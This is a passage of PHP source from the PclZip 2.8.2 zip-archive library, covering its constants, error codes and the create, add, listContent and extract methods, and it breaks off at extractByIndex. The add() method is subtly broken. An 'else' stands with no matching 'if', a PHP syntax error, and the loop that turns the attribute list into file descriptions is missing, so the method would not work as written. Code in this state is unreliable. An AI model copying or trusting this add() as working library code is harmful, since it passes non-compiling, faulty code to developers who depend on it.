  //       memory_limit of PHP and apply a ratio.
  //       threshold = memory_limit * ratio.
  //       Recommended values are under 0.5. Default 0.47.
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
  }

// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
// --------------------------------------------------------------------------------

// ----- Global variables
  $g_pclzip_version = "2.8.2";

// ----- Error codes
  //   -1 : Unable to open file in binary write mode
  //   -2 : Unable to open file in binary read mode
  //   -3 : Invalid parameters
  //   -4 : File does not exist
  //   -5 : Filename is too long (max. 255)
  //   -6 : Not a valid zip file
  //   -7 : Invalid extracted file size
  //   -8 : Unable to create directory
  //   -9 : Invalid archive extension
  //  -10 : Invalid archive format
  //  -11 : Unable to delete file (unlink)
  //  -12 : Unable to rename file (rename)
  //  -13 : Invalid header checksum
  //  -14 : Invalid archive size
  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
  define( 'PCLZIP_ERR_NO_ERROR', 0 );
  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

// ----- Options values
  define( 'PCLZIP_OPT_PATH', 77001 );
  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
  define( 'PCLZIP_OPT_BY_NAME', 77008 );
  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
  define( 'PCLZIP_OPT_BY_EREG', 77010 );
  define( 'PCLZIP_OPT_BY_PREG', 77011 );
  define( 'PCLZIP_OPT_COMMENT', 77012 );
  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
  // Having big trouble with crypt. Need to multiply 2 long int
  // which is not correctly supported by PHP ...
  //define( 'PCLZIP_OPT_CRYPT', 77018 );
  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias

// ----- File description attributes
  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

// ----- Call backs values
  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
  define( 'PCLZIP_CB_PRE_ADD', 78003 );
  define( 'PCLZIP_CB_POST_ADD', 78004 );
  /* For futur use
  define( 'PCLZIP_CB_PRE_LIST', 78005 );
  define( 'PCLZIP_CB_POST_LIST', 78006 );
  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
  define( 'PCLZIP_CB_POST_DELETE', 78008 );
  */

// --------------------------------------------------------------------------------
  // Class : PclZip
  // Description :
  //   PclZip is the class that represent a Zip archive.
  //   The public methods allow the manipulation of the archive.
  // Attributes :
  //   Attributes must not be accessed directly.
  // Methods :
  //   PclZip() : Object creator
  //   create() : Creates the Zip archive
  //   listContent() : List the content of the Zip archive
  //   extract() : Extract the content of the archive
  //   properties() : List the properties of the archive
  // --------------------------------------------------------------------------------
  class PclZip
  {
    // ----- Filename of the zip file
    var $zipname = '';

// ----- File descriptor of the zip file
    var $zip_fd = 0;

// ----- Internal error handling
    var $error_code = 1;
    var $error_string = '';

// ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    var $magic_quotes_status;

// --------------------------------------------------------------------------------
  // Function : PclZip()
  // Description :
  //   Creates a PclZip object and set the name of the associated Zip archive
  //   filename.
  //   Note that no real action is taken, if the archive does not exist it is not
  //   created. Use create() for that.
  // --------------------------------------------------------------------------------
  function PclZip($p_zipname)
  {

// ----- Tests the zlib
    if (!function_exists('gzopen'))
    {
      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
    }

// ----- Set the attributes
    $this->zipname = $p_zipname;
    $this->zip_fd = 0;
    $this->magic_quotes_status = -1;

// ----- Return
    return;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   create($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two different synopsis. The first one is historical.
  //   This method creates a Zip Archive. The Zip file is created in the
  //   filesystem. The files and directories indicated in $p_filelist
  //   are added in the archive. See the parameters description for the
  //   supported format of $p_filelist.
  //   When a directory is in the list, the directory and its content is added
  //   in the archive.
  //   In this synopsis, the function takes an optional variable list of
  //   options. See bellow the supported options.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function create($p_filelist)
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Remove from the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
                                             ));
        if ($v_result != 1) {
          return 0;
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Invalid number / type of arguments");
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

// ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

// ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

// ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

// ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

// ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
      return 0;
    }

// ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        if ($v_string != '') {
          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
        }
        else {
        }
      }
    }

// ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

// ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Call the create fct
    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   add($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This methods add the list of files in an existing archive.
  //   If a file with the same name already exists, it is added at the end of the
  //   archive, the first one is still present.
  //   If the archive does not exist, it is created.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_OPT_ADD_COMMENT :
  //   PCLZIP_OPT_PREPEND_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function add($p_filelist)
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

// ----- Return
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

// ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

// ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

// ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

// ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
      return 0;
    }

// ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
      }
    }

// ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Call the create fct
    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function : listContent()
  // Description :
  //   This public method, gives the list of the files and directories, with their
  //   properties.
  //   The properties of each entries in the list are (used also in other functions) :
  //     filename : Name of the file. For a create or add action it is the filename
  //                given by the user. For an extract function it is the filename
  //                of the extracted file.
  //     stored_filename : Name of the file / directory stored in the archive.
  //     size : Size of the stored file.
  //     compressed_size : Size of the file's data compressed in the archive
  //                       (without the headers overhead)
  //     mtime : Last known modification date of the file (UNIX timestamp)
  //     comment : Comment associated with the file
  //     folder : true | false
  //     index : index of the file in the archive
  //     status : status of the action (depending of the action) :
  //              Values are :
  //                ok : OK !
  //                filtered : the file / dir is not extracted (filtered by user)
  //                already_a_directory : the file can not be extracted because a
  //                                      directory with the same name already exists
  //                write_protected : the file can not be extracted because a file
  //                                  with the same name already exists and is
  //                                  write protected
  //                newer_exist : the file was not extracted because a newer file exists
  //                path_creation_fail : the file is not extracted because the folder
  //                                     does not exist and can not be created
  //                write_error : the file was not extracted because there was a
  //                              error while writing the file
  //                read_error : the file was not extracted because there was a error
  //                             while reading the file
  //                invalid_header : the file was not extracted because of an archive
  //                                 format error (bad file header)
  //   Note that each time a method can continue operating when there
  //   is an action error on a file, the error is only logged in the file status.
  // Return Values :
  //   0 on an unrecoverable failure,
  //   The list of the files in the archive.
  // --------------------------------------------------------------------------------
  function listContent()
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

// ----- Call the extracting fct
    $p_list = array();
    if (($v_result = $this->privList($p_list)) != 1)
    {
      unset($p_list);
      return(0);
    }

// ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   extract($p_path="./", $p_remove_path="")
  //   extract([$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method extract all the files / directories from the archive to the
  //   folder indicated in $p_path.
  //   If you want to ignore the 'root' part of path of the memorized files
  //   you can indicate this in the optional $p_remove_path parameter.
  //   By default, if a newer file with the same name already exists, the
  //   file is not extracted.
  //
  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
  //   at the end of the path value of PCLZIP_OPT_PATH.
  // Parameters :
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 or a negative value on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function extract()
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

// ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

// ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_BY_NAME => 'optional',
                                                   PCLZIP_OPT_BY_EREG => 'optional',
                                                   PCLZIP_OPT_BY_PREG => 'optional',
                                                   PCLZIP_OPT_BY_INDEX => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												    ));
        if ($v_result != 1) {
          return 0;
        }

// ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_path = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

// ----- Return
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Trace

// ----- Call the extracting fct
    $p_list = array();
    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
	                                     $v_remove_all_path, $v_options);
    if ($v_result < 1) {
      unset($p_list);
      return(0);
    }

// ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method is doing a partial extract of the archive.
  //   The extracted files or folders are identified by their index in the
  //   archive (from 0 to n).
  //   Note that if the index identify a folder, only the folder entry is
  //   extracted, not all the files included in the archive.
  // Parameters :
  //   $p_index : A single index (integer) or a string of indexes of files to
  //              extract. The form of the string is "0,4-6,8-12" with only numbers
  //              and '-' for range or ',' to separate ranges. No spaces or ';'
  //              are allowed.
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
  //     not as files.
  //     The resulting content is in a new field 'content' in the file
  //     structure.
  //     This option must be used alone (any other options are ignored).
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  //function extractByIndex($p_index, options...)
  function extractByIndex($p_index)
  {
    $v_result=1;